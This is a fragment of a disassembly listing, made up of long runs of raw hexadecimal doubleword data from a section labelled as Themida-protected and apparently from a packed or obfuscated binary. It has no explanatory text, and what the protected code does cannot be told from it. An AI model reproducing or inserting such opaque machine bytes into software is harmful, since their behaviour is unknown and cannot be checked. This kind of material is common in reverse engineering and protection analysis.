		dd 49E9h, 559D8B00h, 6606372Eh,	8BCF59BBh, 0FFFFFF8Dh
		dd 819D89FFh, 83063707h, 840F01E1h, 2Ah, 1D858B60h, 0F06372Bh
		dd 6661FAB7h, 0A583FA8Bh, 0FFFFFFFFh, 3800FFEh,	53000000h
		dd 95895BF9h, 1, 0E9F8h, 0B58D0000h, 63B4333h, 92BFF781h
		dd 6A2263h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ah,	2EC35646h, 30C15CDAh, 95FFB6EFh, 6373219h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0EFC35646h, 0B9BD8B6Dh
		dd 0B9063730h, 10B2h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 14h, 72C35141h, 0E18377B3h, 0BF66FCFCh, 0C02BC917h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 60C35343h
		dd 3CCDF70h, 3733459Dh,	6AD22B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 2D1CC353h
		dd 0D9EC8F7h, 665899C5h, 33ADF98Bh, 3E8D1C2h, 4E983D0h
		dd 0BD89F475h, 6372349h, 1830Fh, 31F90000h, 370431BDh
		dd 880D06h, 0BFF50000h,	5FF02E38h, 1875958Bh, 6A0637h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0DC3586C3h, 576AB774h, 5FDABF0Fh, 11958D8Bh,	6A0637h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8B505AC3h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0F99BD09h, 68B70637h, 0DF8166FCh, 0BD830372h, 6372D55h
		dd 9A840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0FC5BC356h,	86DBD8Bh
		dd 0B80637h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0F3E2C356h,	0B7D4B16Eh
		dd 0BE980h, 0D2B70000h,	8C44B0EEh, 108220D4h, 2B8D8D6Ah
		dd 0E906374Eh, 0Eh, 36879838h, 0E3DD14DAh, 0EC30C8C9h
		dd 0E1FFA4BFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	86C35646h, 89CC71D1h, 370D7185h
		dd 81BD8306h, 6370Fh, 470840Fh,	9E80000h, 10000000h, 0EE98594Ch
		dd 68F4B03Eh, 12E8h, 8609E300h,	0FCB87B85h, 85AC6FBDh
		dd 26FF339h, 0BF1BBB47h, 364C4A00h, 0BD835B5Fh,	6370F81h
		dd 52840F01h, 0F000004h, 68Ch, 998D8900h, 83063708h, 370F81BDh
		dd 860F0306h, 403h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0A7C35747h, 621FAC89h, 388D00B1h, 91BD8BDCh
		dd 0E906370Fh, 0Ah, 0E426406Ch,	617ED9A8h, 8B6071E5h, 3722099Dh
		dd 0D98C6606h, 1CB1BD8Bh, 0E1800637h, 53006A04h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 0F2262692h, 0A99D8B3Bh, 0A063705h, 45840FC9h, 66000001h
		dd 858BD88Bh, 6372F45h,	2D6D9589h, 85330637h, 6371301h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 87C35545h
		dd 0DA2DDB81h, 0E9505BEFh, 0Eh,	41457F82h, 0CA2C5F2Eh
		dd 2A7F61D8h, 4899E77h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 7E3FC40Fh, 12E98Fh, 50710000h
		dd 531DF64Ah, 9EA0BE71h, 719CB995h, 16CBCAD1h, 0C8D0Fh
		dd 810F0000h, 6, 8A0Fh,	6A0000h, 9E9h, 0F27D6000h, 48722AE0h
		dd 4B6820E0h, 6001B4B8h, 810FCB8Bh, 6, 850Fh, 81610000h
		dd 0BBB42434h, 6A01ABh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7C750C3h, 95FFA9C1h, 6372B25h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h, 2BB582CFh
		dd 371EADBDh, 5B858906h, 0E9063AB1h, 20Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 54C35141h, 273C141Bh
		dd 8B6660F1h, 55BD23D7h, 61063709h, 0B153858Bh,	6A063Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0E270ADC3h, 3898B35Bh, 660ACC81h, 0DB81FA8Bh, 2DC04739h
		dd 1800C7h, 12E90000h, 7E000000h, 0B1E3C9Dh, 0C8A63E6Ch
		dd 0D9C003E7h, 0F21421A6h, 57B58B31h, 8B063AB1h, 370D8D85h
		dd 0E19D0B06h, 8906370Eh, 858BF806h, 6372F45h, 0F1F7BB66h
		dd 6A044689h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E493C352h, 5E950F5h, 25000000h
		dd 0A710F5B0h, 0E8243489h, 5, 58225509h, 92CF8196h, 5F3E5920h
		dd 0B153B5FFh, 6A063Ah,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 6477F0C3h, 4E89579h, 0FF000000h
		dd 0E8001F03h, 0Bh, 0DBE55331h,	74E24B7Dh, 5FB9AC83h, 12E850h
		dd 0B9D00000h, 0F070EBC1h, 9D7EDD71h, 6C0B1E3Ch, 0E7C8A63Eh
		dd 14E8h, 0AAAA7B00h, 133EA3C3h, 643B29F3h, 737C47BDh
		dd 0A35D1772h, 13E8B0h,	0C0BB0000h, 71B0E1E1h, 0BD5F059Dh
		dd 0C9FA0140h, 69F7D471h, 5B5F5FAFh, 424448Bh, 8AF38B60h
		dd 8B61D7h, 2814BB66h, 4244489h, 6860F58h, 89000000h, 372F8D95h
		dd 5B858D06h, 6A063AB1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 7FA0C357h, 8E9h, 4050C700h
		dd 7A94679Ah, 5060503Fh, 17BB6652h, 5A310F2Dh, 57525058h
		dd 66310F58h, 5A84C9B8h, 4896158h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 5BA70F01h
		dd 12ED9FC6h, 0F49BD8Bh, 95FF0637h, 6372B25h, 32FD8589h
		dd 31610637h, 370A858Dh, 8185C706h, 306370Fh, 0F000000h
		dd 0A8Dh, 5E900h, 8FB30000h, 83498E56h,	3AB15BBDh, 840F0006h
		dd 37h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 9AC35747h, 0DA116A78h, 0AC40B2F5h, 7EC78104h, 0FC3565DDh
		dd 21E9h, 78E78100h, 5055E6E9h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 9E9C08Bh, 0FE000000h, 6542C434h
		dd 76DE8A23h, 68E0Fh, 95310000h, 6370CB5h, 0F81BD83h, 0F030637h
		dd 4D285h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 66F98B9Eh, 368EEB81h, 0B15BBD83h
		dd 0F00063Ah, 4A284h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0C0A1B886h, 0C03D11D7h
		dd 5E953h, 493D0000h, 8B319BC1h, 372989BDh, 5BB5FF06h
		dd 0E9063AB1h, 0Bh, 0D7466067h,	0A8565107h, 89A7860Bh
		dd 3720CD9Dh, 5D95FF06h, 50063733h, 4FB58B5Bh, 6A063AB1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0D0D2C351h, 0F9B79314h, 106C7h, 6A0001h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 5EA3A3C3h, 0B286DC5Fh, 7E9h,	3FBBEB00h, 0A8528FEFh
		dd 11E8h, 0CC3D6500h, 1A995766h, 9A483CA7h, 0CB1B6DFh
		dd 0BF662B61h, 965F5D6Bh, 0BE8h, 95A77900h, 0CD5292D8h
		dd 96123D9Bh, 5FFA8B57h, 6A96505Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 2F5C353h
		dd 0E887BF85h, 12h, 9F59AD0Ch, 0BD349D06h, 9511FF97h, 0CC864EE2h
		dd 800F1881h, 6, 870Fh,	0FF5F0000h, 3AB15BB5h, 45958906h
		dd 0FF063711h, 37183D95h, 0FD9D3306h, 8906370Ah, 3705D1B5h
		dd 4FB58B06h, 6A063AB1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0FD76C352h,	5217714Ah
		dd 38B0F40h, 0F000000h,	5E9D9BFh, 5C000000h, 0A71181F7h
		dd 5B5858Bh, 6A0637h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 7ACA06C3h, 2A919D09h, 86890637h
		dd 0C4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	35C35141h, 816660F5h, 89FBCEE9h, 371025B5h, 8B666106h
		dd 75958BFEh, 6A063718h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0FD26C356h,	0B962973Ah
		dd 0C283F1B7h, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BBF8CC89h, 30CF5D09h
		dd 0C606BB66h, 60205089h, 0D1816650h, 0FC5FDA56h, 95BD8961h
		dd 8D06371Fh, 3AC5D585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 46D819E7h, 91216D9Fh
		dd 0AE9F1h, 0A7640000h,	4828CF16h, 5B506896h, 0B88689h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0BB19D8C3h, 65F4EBA5h, 0DE855A5h,	0FA000000h
		dd 2E0BF00Ah, 9AA192C1h, 921CC58Eh, 6830Fh, 95010000h
		dd 6370715h, 6A006A5Fh,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8025C350h, 0B5FF58E7h
		dd 63AB15Bh, 0C98D89F8h
		dd 0FF063709h, 370BB995h, 0BF665606h, 965F2B25h, 472BF66h
		dd 96F88B50h, 1ED59D8Bh, 0B5FF0637h, 63AB15Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 16C35545h, 0B589B39Eh
		dd 6372B51h, 2E4D95FFh,	6A0637h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 6181E7C3h, 0C07BAD86h
		dd 0BD8378A1h, 63719E9h, 9840F00h, 8A000000h, 348950F9h
		dd 0DA8B6624h, 0B15BB5FFh, 6A063Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD3333C3h
		dd 6372095h, 9AD95FFh, 6A0637h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 1B335AC3h, 5AE75925h
		dd 2AED8531h, 81660637h, 8B9527CFh, 371CF99Dh, 5BB5FF06h
		dd 0E8063AB1h, 13h, 377E37B9h, 45F6E2ADh, 0C502B502h, 4A58A98h
		dd 8BE2E5C8h, 95FF5FFEh, 6370B75h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 35C35545h, 0FD942076h, 0F259D29h
		dd 0BD830637h, 6370409h, 3C840F02h, 8A000000h, 71858BD9h
		dd 0F063711h, 68Eh, 7D9D2900h, 0C606372Dh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0FADEE6C3h, 0F61BCE30h, 0C7C3C74Ch, 3731D585h, 6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0F5C3A448h, 0F9958921h, 0E906371Bh, 0FFFFF2FFh, 1D058D89h
		dd 0C18B0637h, 0CE9h, 83EB0A00h, 68050C95h, 55BBE9B9h
		dd 85858D6Ch, 90063708h, 60525050h, 890Fh, 61600000h, 57310F61h
		dd 5A5B6160h, 85319058h, 637041Dh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0D1A18BC3h
		dd 0E6F0EF1Ah, 9589D421h, 6370DC5h, 0BD8B006Ah,	6372A0Dh
		dd 0D018858Dh, 6A063Bh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5DF367C3h, 51BD89A7h, 83063704h
		dd 6A05C0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0A4349EC3h, 66FA9E3Fh, 43CCD381h,	17DFBF66h
		dd 50DDB390h, 11E8h, 0F17A400h,	74CCEB5Dh, 1B50A845h, 35B8EA60h
		dd 6E8795Eh, 68000000h,	39DDBAA5h, 0DE9DBh, 6C50000h, 67B48E1Bh
		dd 0B4F9129Eh, 5F0F4B08h, 10E8905Bh, 47000000h,	9E56DFFAh
		dd 2F527473h, 926EA2B2h, 0E9E20198h, 9,	9CD3738Bh, 6CC9DF93h
		dd 6A5FF4h, 14E8h, 0A2C1DE00h, 0EEA3735Bh, 30E71FD7h, 0AE31BB95h
		dd 8DED703Eh, 18A0F43h,	0FC000000h, 8B006A5Fh, 37331DBDh
		dd 0ED95FF06h, 8906370Ah, 371C5DB5h, 0CE906h, 0E4C90000h
		dd 311BDF55h, 3B613C0Eh, 8D8DE77Ch, 63AA135h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D5C35747h, 478CA502h
		dd 0F798589h, 0D1FF0637h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 6BC35646h, 8D4911CBh,	0BE84167h, 0AB000000h
		dd 88696636h, 0A436C9B9h, 0CB815DE1h, 54FB228Eh, 9DBD835Fh
		dd 1063708h, 0A1850Fh, 81660000h, 6A685BD3h, 52006A02h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0E7F65D6h, 6C192322h, 1B1EB81h, 0B70F2B64h, 28BB50D8h
		dd 897C071Eh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 9E8D36C3h, 25FD9D0Bh, 890F0637h
		dd 6, 2EE5BD8Bh, 95FF0637h, 6370BB9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 0B8C35747h,	8D51ECA2h, 89BFA67Fh
		dd 3725A1B5h, 39BD8906h, 0E9063720h, 0E92h
dword_589C6C	dd 0E8h, 0ED815D00h, 63BD022h, 13E9h, 55F49B00h, 5750146Fh
					; DATA XREF: Themida_:0053D410o
		dd 0AB9B7353h, 0D7A5EF35h, 7FB8441Ch, 1B09BD89h, 6A0637h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0CA2325C3h, 0C19D8975h, 8D063707h, 3A84C385h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 8795BFA6h, 89504C10h, 8D892404h, 6372F71h, 35FF64h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0EB77C357h, 6119CE9Eh,	8ED385EEh
		dd 0E850Fh, 9E90000h, 0EA000000h, 86CB5AF4h, 0D2BC7067h
		dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 1CA7C355h, 0C4FFA4F4h
		dd 0FF56B42Fh, 372A7D85h, 0FF6AF906h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DDC35343h,	758173A1h, 0F2349CE6h
		dd 0FF51DB80h, 371BA5B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0EB8163EAh
		dd 2DD93F26h, 9A1B589h,	95FF0637h, 63700EDh, 116E9h, 0D3816600h
		dd 0B025F9h, 1DADBD8Bh,	70E60637h, 0D4C38166h, 8171E490h
		dd 49E723F3h, 0F613C31h, 0F283h, 8D8D2900h, 0F063711h
		dd 0D0BBC8B6h, 0BA2D7352h, 6, 8BD8BF0Fh, 5ADB81C1h, 0C179C942h
		dd 10E904E8h, 0F1000000h, 71FE0BA0h, 0C4614F63h, 1FDF3999h
		dd 6632187Fh, 0DF8BE2F7h, 0BD8BC82Bh, 6371BDDh,	9CB86660h
		dd 0AD95897Fh, 61063711h, 0BD8BD18Bh, 6370675h,	96E9h
		dd 0DEBF0F00h, 4858Bh, 0BF0F0000h, 7C083DEh, 6600C083h
		dd 89F379BBh, 3725918Dh, 0FD03B06h, 0D83h, 0E9DA8B00h
		dd 6Bh,	181BD09h, 8D8B0637h, 0FFFFFFFFh, 68F0F60h, 8B000000h
		dd 3713DDB5h, 14E906h, 25390000h, 7F08288Fh, 994CC8Bh
		dd 6C6D0051h, 5359918h,	836176E7h, 840F01E1h, 2Fh, 6830Fh
		dd 0B5310000h, 6372209h, 0FFFFA583h, 89FEFFFFh,	495h, 5820F00h
		dd 66000000h, 0E955C381h, 3339BD8Bh, 0E90637h, 8D000000h
		dd 3B53E5B5h, 8BCBB06h,	6A5AB0h, 0F8A0Fh, 0AE90000h, 21000000h
		dd 532D40B9h, 0F07BFDC1h, 0DE912h, 23D10000h, 760D89D6h
		dd 0ECD303E8h, 0FFCA5410h, 37321995h, 107CB906h, 0BD0B0000h
		dd 6370B41h, 0FCE183F9h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 20C35747h, 1D987E5Eh,	1FC8695h, 370DB99Dh
		dd 2BDE8B06h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0E7817997h, 5EFA2FF5h, 6AD22Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 11E256C3h, 8955782h,	0C233AD42h, 0D003E8D1h,	7504E983h
		dd 52006AF4h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 8E7EDC37h, 4748CF81h, 9D8B0941h,	6370B09h
		dd 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0C8D8BB36h, 53F78179h, 0E951824Fh
		dd 8, 838EB0D8h, 5579A4CEh, 1875958Bh, 6A0637h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0BAB8D9C3h, 7BBC67F2h, 0FE9h, 0D13D2800h, 9728549Eh
		dd 0A9C94280h, 51C64572h, 11958D8Bh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 8EC7D1C3h
		dd 92D253A8h, 0C28B50F9h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F9F5C357h, 0C3BE1255h, 12E97597h
		dd 0B6000000h, 2E1F48A7h, 0E941868Dh, 2512D2D3h, 3A380BEAh
		dd 0BD895104h, 6371749h, 0DE85Bh, 5C050000h, 802BE6FAh
		dd 0D0F57096h, 81706FF1h, 2B932FD7h, 0BD835F6Bh, 6372D55h
		dd 9E840F00h, 89000000h, 371EDD8Dh, 0B806h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0E8D26C3h, 840F6080h, 1, 0C98D89F9h,	61063728h, 4E2B8D8Dh
		dd 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 1E3C9DC3h, 0A63E6C0Bh, 0BD01E7C8h, 6372381h
		dd 18A0Fh, 0FFF90000h, 56006AE1h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 55E7EAE9h, 7E9F0h, 0B5500000h
		dd 47CCACC8h, 81BD8315h, 6370Fh, 4B3840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FCED3C3h, 0BD83DFBFh, 6370F81h, 0A1840F01h,	6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 1534C355h, 35FEB06h, 3840Fh, 8B660000h, 81BD83DFh
		dd 306370Fh, 434860Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 6DBE94C3h, 0BFAC290Ah
		dd 0F360164h, 8D0FDAB7h, 9, 8D33F860h, 6371B45h, 0BF666061h
		dd 0CE92597h, 0E3000000h, 0F5896E7Bh, 5475DF2Fh, 66DB1059h
		dd 0BD09D98Ch, 6371D49h, 2A2DBD8Bh, 0E1800637h,	519D0B04h
		dd 66063719h, 61ACEB81h, 840FC90Ah, 1A8h, 6820Fh, 8D890000h
		dd 63720BDh, 51BD2B53h,	5B06372Fh, 2F45858Bh, 6A0637h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0B045CCC3h, 0BE9h, 90DCB100h, 16E89357h, 6E7338FAh
		dd 8533F88Bh, 6371301h,	6E9h, 0E6B1B000h, 29238E10h, 371BDD95h
		dd 0F8B35006h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 4096C357h, 363580A0h
		dd 1C7F1B8h, 3722D185h,	6A006A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 0F2FC351h
		dd 68Dh, 498D8900h, 0E8063733h,	4, 1F03FFh, 310F5250h
		dd 11E9h, 86F04F00h, 2F6398Eh, 7C7F23C8h, 0D906A34Bh, 585A1D7Ch
		dd 6E950h, 67D40000h, 4729E77Eh, 424448Bh, 8B5B52h, 6E8h
		dd 62BD2100h, 5B249A97h, 4244489h, 58FE8B66h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 8FC35343h, 91F05017h
		dd 2B2595FFh, 0BD8B0637h, 6371831h, 0B15B8589h,	6A063Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0CD28FAC3h, 0C261A569h, 19F58D89h, 800F0637h, 12h, 0DE9h
		dd 0ECD30300h, 70CA5410h, 78376319h, 0A9E9E9E1h, 66000001h
		dd 890FFA8Bh, 20h, 14E8h, 555CAE00h, 0E01506E7h, 0F6E66F37h
		dd 91B856A1h, 0F91F092Ah, 840FFFh, 5B000000h, 0B153858Bh
		dd 6A063Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 513732C3h, 0D25029A6h, 1F758501h,	0C70637h
		dd 18h,	9DDB531h, 0B58B0637h, 63AB157h,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 6BC35747h, 0E6964EF2h
		dd 0F09A03Fh, 688h, 9858900h, 0F06370Dh, 0A8Ah,	0B5896000h
		dd 63707B9h, 0F615F52h,	28Fh, 8BD98B00h, 370D8D85h, 29B52906h
		dd 89063704h, 6840F06h,	8B000000h, 37179D9Dh, 45858B06h
		dd 6A06372Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 7CC0C352h, 8A29703Ah, 0AE91Ch
		dd 7B0F0000h, 0FAAAABFAh, 7086BA24h, 8B044689h,	3719719Dh
		dd 0DE85006h, 0BE000000h, 96847119h, 8678E8Ch, 0F01C83A4h
		dd 2434895Fh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 14h,	0AFC35545h, 0DDEB8166h,	8E9E4h,	0D1580000h, 978FDAD3h
		dd 0B5FF3C61h, 63AB153h, 8768FA8Bh, 66778E26h, 3481D98Bh
		dd 91257824h, 8DDE8B77h, 3AB15B85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E912AE5Dh
		dd 9036434Eh, 51EBBF50h, 8990624Fh, 37297DB5h, 2595FF06h
		dd 6606372Bh, 0E0AFCB81h, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 35496959h
		dd 1AC19D8Bh, 8B520637h, 3719B1BDh, 85C75B06h, 6370F81h
		dd 3, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h, 1Ch
		dd 5BC35040h, 6976CC2Dh, 278C05F8h, 0B15BBD83h,	0F00063Ah
		dd 3184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0C0F0B9F1h, 8A2EBBCCh, 23E9DEh, 0C7810000h
		dd 4212899Ah, 3050F98Ah, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 60FA8BC0h, 105D8529h, 0B5290637h
		dd 63730BDh, 81BD8361h,	306370Fh, 44F850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0A9D51FC3h, 17FB6C76h, 5BBD832Ch, 63AB1h, 41F840Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 6617E5C3h, 0F7816678h, 0BB66CC05h, 9D239FC1h
		dd 6372F41h, 0B15BB5FFh, 6A063Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 810FB7C3h, 4,	8DEBF66h
		dd 0FFFABF0Fh, 37335D95h, 1DBD2306h, 8B063730h,	3AB14FB5h
		dd 85F38106h, 0C75D2BD4h, 1000106h, 95BD8B00h, 50063713h
		dd 0BE8h, 54C95700h, 0FB315E7Dh, 0ADB47C7Ah, 5F525250h
		dd 13E9310Fh, 13000000h, 0FA53B0B3h, 5F556453h,	0ADE5154Dh
		dd 0A44EB018h, 585A86F9h, 2434895Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C4C35040h,	2BE909FCh, 98D0B60h
		dd 0E8063712h, 5, 0DC748509h, 58CB8B05h, 0F88B6661h, 0B15BB5FFh
		dd 6A063Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 85110FC3h, 0A0CEA78Ch, 0E912FD0Eh, 0Eh, 6E5F6056h
		dd 0CD0F0765h, 0C6E07EF6h, 95FFC606h, 637183Dh,	18B59D89h
		dd 0B58B0637h, 63AB14Fh, 1289CB81h, 858B30ADh, 63705B5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9AC35242h
		dd 0E9B79848h, 0Eh, 7F551C4h, 0E656D71Fh, 7FCBD97Fh, 86892014h
		dd 0C4h, 1185BD8Bh, 958B0637h, 6371875h, 6A04C283h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 5DBDC350h, 0AE881h, 0F7430000h, 0E6DB188Eh, 0FB4AFF6Ah
		dd 30218589h, 895F0637h, 6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 8D61B0C3h, 3AC5D585h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B8868969h, 6A000000h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 9D2BC355h
		dd 0D9941C47h, 6AFAB70Fh, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D381664Fh
		dd 0DF8B57C9h, 0B15BB5FFh, 8B66063Ah, 0B995FFDAh, 6A06370Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0FB1AC355h, 174FE9F5h, 0BE5CE910h, 1D519501h
		dd 0BF500637h, 59FEA149h, 8B243489h, 371185BDh,	5BB5FF06h
		dd 0FF063AB1h, 372E4D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 44CB1029h
		dd 8BF0CDB9h, 5D8D29D8h, 83063711h, 3719E9BDh, 840F0006h
		dd 48h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h
		dd 0CCC35747h, 2B7B8EF8h, 0F50F887h, 168Ch, 0BE86000h
		dd 0B9000000h, 851C15Fh, 1A40D0FEh, 665A3FA8h, 8961D68Bh
		dd 95892434h, 63725D5h,	0B15BB5FFh, 6A063Ah, 3E853h, 5B200000h
